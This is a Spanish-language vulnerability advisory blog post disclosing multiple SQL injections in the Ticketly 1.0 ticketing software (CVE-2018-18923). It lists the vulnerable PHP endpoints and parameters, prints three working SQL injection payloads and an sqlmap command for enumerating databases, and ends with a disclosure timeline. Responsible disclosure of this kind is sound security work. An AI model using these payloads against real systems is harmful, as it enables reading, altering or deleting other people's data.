CVE-2018-18923 Ticketly 1.0 - Múltiples SQL Injections
En la entrada anterior , hemos visto una vulnerabilidad de Escalación de Privilegios en Ticketly 1.0 , en esta entrada, vamos a ver otras vulnerabilidades que he encontrado en este software, en concreto, múltiples SQL Injections, estas vulnerabilidades han sido asociadas al CVE-2018-18923 .
Ticketly - CVE-2018-18923
Ticketly 1.0 - Multiple SQL Injections
Ticketly 1.0, es un software de ticketing desarrollado por AbiSoft para ofrecer soporte a los usuarios sobre incidencias en los sistemas, está basado en PHP y MySQL.
- 📅 Vulnerabilidad descubierta por Javier Olmedo el 24/07/2018
- 💣 Publicada el 05/11/2018
- 🐛 CVE-2018-18923
- 🔗 Link del software Ticketly
- 🐞 Versión vulnerable = 1.0
Vector de ataque / Criticidad de la explotación
CRITICIDAD - 🟣 CRÍTICA 🟣
A través de las vulnerabilidades SQL Injection , un usuario malintencionado podría leer, modificar o borrar información de la base de datos que utiliza la aplicación, lanzar comandos al sistema operativo o causar una denegación de servicio con el objetivo de obtener información confidencial, escalar privilegios o dejar inoperativa la aplicación.
Parámetros / Recursos vulnerables
En los siguiente recursos se han encontrado parámetros vulnerables a ataques SQL Injection a través de peticiones POST, estas peticiones permiten las condiciones WHERE, HAVING, ORDER BY y GROUP BY, lo que permite que sean fácilmente explotables y recuperar grandes cantidades de información de la base de datos con una sola consulta.
/action/addproject.php
Parámetros description, name, category_id y description
/action/addticket.php
Parámetros king_id, priority_id, project_id, status_id y title
/reports.php
Parámetros kind_id y status_id
💉 Payload 1 (boolean-based blind)
name=Test» RLIKE (SELECT (CASE WHEN (4632=4632) THEN 0x54657374 ELSE 0x28 END)) AND «lrmZ»=»lrmZ&description=Test
💉 Payload 2 (error-based)
name=Test» AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7176766a71,(SELECT (ELT(9139=9139,1))),0x7178717a71)) AND «SZJL»=»SZJL&description=Test
💉 Payload 3 (AND/OR time-based blind)
name=Test» RLIKE SLEEP(5) AND «WkTS»=»WkTS&description=Test
📷 Captura de pantalla de SQLmap lanzando el comando
sqlmap -r poc.req -p name --dbs
Prueba de concepto (PoC)
1. Si añadimos el caracter ' (%22) en el parámetro name obtenemos un error en la aplicación
1.1 Petición
1.2 Respuesta
2. En cambio, al añadir dos ' (%22%22), obtenemos un código 200 OK
2.1 Petición
2.2 Respuesta
Timeline
- 24/07/2018 Descubrimiento de la vulnerabilidad
- 24/07/2018 Contacto con el desarrollador
- 24/07/2018 El desarrollador marca la vulnerabiliad como pendiente de parcheo
- 02/11/2018 Solicito CVE
- 04/11/2018 Asignación de CVE-2018-18923 por MITRE
- 05/11/2018 Hago pública la vulnerabilidad
Referencias
Un saludo a todos!! 👋





